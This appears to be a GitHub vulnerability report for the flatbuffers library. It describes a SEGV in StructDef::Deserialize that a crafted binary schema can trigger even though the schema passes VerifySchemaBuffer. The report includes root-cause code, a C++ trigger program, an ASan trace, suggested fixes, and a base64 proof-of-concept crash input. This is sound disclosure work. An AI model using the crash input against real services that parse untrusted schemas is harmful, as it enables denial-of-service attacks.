Skip to content

SEGV in StructDef::Deserialize via IsStruct on a bfbs schema that passes VerifySchemaBuffer #9144

Description

@OwenSanzas

Summary

flatbuffers::Parser::Deserialize crashes with a SEGV while deserializing a binary schema (.bfbs) buffer that passes reflection::VerifySchemaBuffer. During StructDef::Deserialize, computing the inline size of a field type reaches flatbuffers::IsStruct, which dereferences type.struct_def (a cross-reference the verifier does not validate). For a struct field whose type claims BASE_TYPE_STRUCT but whose struct_def was never resolved, the dereference faults on an invalid pointer.

Because the schema buffer is accepted by the dedicated verifier, an application that follows the recommended "verify before use" pattern still crashes — the verifier guarantees buffer-structural validity but not the schema cross-references that Deserialize trusts.

Root Cause

StructDef::Deserialize recomputes padding for fixed (struct) layouts and calls InlineSize on each field's type (idl_parser.cpp:4161-4170):

    if (fixed) {
      // Recompute padding since that's currently not serialized.
      auto size = InlineSize(field_def->value.type);
      auto next_field =
          i + 1 < indexes.size() ? of.Get(indexes[i + 1]) : nullptr;
      tmp_struct_size += size;
      field_def->padding =
          next_field ? (next_field->offset() - field_def->value.offset) - size
                     : PaddingBytes(tmp_struct_size, minalign);
      tmp_struct_size += field_def->padding;
    }

InlineSize consults IsStruct, which unconditionally dereferences type.struct_def (idl.h:533-535):

inline bool IsStruct(const Type& type) {
  return type.base_type == BASE_TYPE_STRUCT && type.struct_def->fixed;
}

reflection::VerifySchemaBuffer validates the FlatBuffer table/vtable structure of the bfbs buffer, but does not validate that a field declared as BASE_TYPE_STRUCT actually resolves to a present, in-range struct_def. When Deserialize reaches a fixed struct whose field type's struct_def is unresolved/invalid, type.struct_def->fixed reads through an invalid pointer and the process takes a SEGV.

PoC

poc/poc.bin — 134 bytes. After the harness input framing (2 header bytes stripped, remainder split into a bfbs schema region and a JSON region by a ratio byte), the carved bfbs region passes reflection::VerifySchemaBuffer and then crashes Parser::Deserialize.

Trigger Method

Standalone program using only public APIs (app_parser_deserialize.cc, verified at the pinned commit with -fsanitize=address). It mirrors the harness framing, runs the verifier first (which passes), then deserializes:

#include <cstdio>
#include <vector>
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/verifier.h"
int main(int argc, char** argv) {
  if (argc < 2) { fprintf(stderr, "usage: %s poc\n", argv[0]); return 2; }
  FILE* fp = fopen(argv[1], "rb"); if (!fp) { perror("open"); return 2; }
  std::vector<uint8_t> in;
  { int c; while ((c = fgetc(fp)) != EOF) in.push_back((uint8_t)c); }
  fclose(fp);
  size_t size = in.size(); const uint8_t* data = in.data();
  if (size < 8) return 0;
  uint8_t flags = data[0]; uint8_t json_ratio = data[1]; data += 2; size -= 2;
  size_t json_len = (size * json_ratio) / 256; size_t bfbs_len = size - json_len;
  if (bfbs_len < 4) return 0;
  const uint8_t* bfbs_data = data;
  flatbuffers::Verifier verifier(bfbs_data, bfbs_len);
  if (!reflection::VerifySchemaBuffer(verifier)) {        // PASSES for the PoC
    fprintf(stderr, "[app] VerifySchemaBuffer FAILED\n"); return 0;
  }
  fprintf(stderr, "[app] VerifySchemaBuffer PASSED (bfbs_len=%zu) -> Deserialize\n", bfbs_len);
  flatbuffers::IDLOptions opts;
  opts.strict_json = (flags & 0x80) != 0;
  opts.skip_unexpected_fields_in_json = (flags & 0x40) != 0;
  opts.allow_non_utf8 = (flags & 0x20) != 0;
  opts.output_default_scalars_in_json = (flags & 0x10) != 0;
  flatbuffers::Parser parser(opts);
  parser.Deserialize(bfbs_data, bfbs_len);                // public API — SEGV fault site
  return 0;
}
clang++ -fsanitize=address -g -O1 -I include app_parser_deserialize.cc \
    libflatbuffers.a -o app_parser_deserialize
./app_parser_deserialize poc/poc.bin

Observed:

[app] VerifySchemaBuffer PASSED (...) -> Deserialize
AddressSanitizer: SEGV on unknown address 0x0000000000110
  #0 flatbuffers::IsStruct(flatbuffers::Type const&)  include/flatbuffers/idl.h:534
  #1 flatbuffers::StructDef::Deserialize              src/idl_parser.cpp:4163
  #2 flatbuffers::Parser::Deserialize                 src/idl_parser.cpp:4487
  #3 flatbuffers::Parser::Deserialize                 src/idl_parser.cpp:4441
  #4 main

Confirmed still reproducing on current master (HEAD 81edeb17, 2026-06-18) — same SEGV at
StructDef::Deserialize idl_parser.cpp:4163 (InlineSizeIsStruct), after VerifySchemaBuffer passes.

Suggested Fix

StructDef::Deserialize (and the IsStruct/InlineSize path) must not trust that a BASE_TYPE_STRUCT field type has a valid resolved struct_def. Either:

  • Make Parser::Deserialize validate, before computing struct layout, that every field type marked as a struct/table resolves to an in-range, present object index and set parser.error_ + return false otherwise; or
  • Have IsStruct (and callers) guard against a null/unresolved struct_def instead of unconditionally dereferencing it.

More broadly, reflection::VerifySchemaBuffer does not cover the schema cross-references that Deserialize depends on, so Deserialize should defensively re-validate those references rather than assuming a passing verify implies safe-to-deserialize.

PoC bytes (self-contained)

The trigger input is 134 bytes (poc/poc.bin).
Recreate it exactly with:

base64 -d > poc.bin <<'B64'
AAAQAAAAQkZCUwgADAAEAAgACAAAAAwAAAAEAAAAAAAAAAEAAAAQAAAADAAUAAgADAAHABAADAAAAAAAAAFAAAAACAAAAAEAAAAB
AAAADAAAAAgADgAEAAgACAAAABgAAAAMAAAAAAAGAAgABwAGAAAAAAAADwEAAABmAAAAAQAAAFMAAAA=
B64

Credit

Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions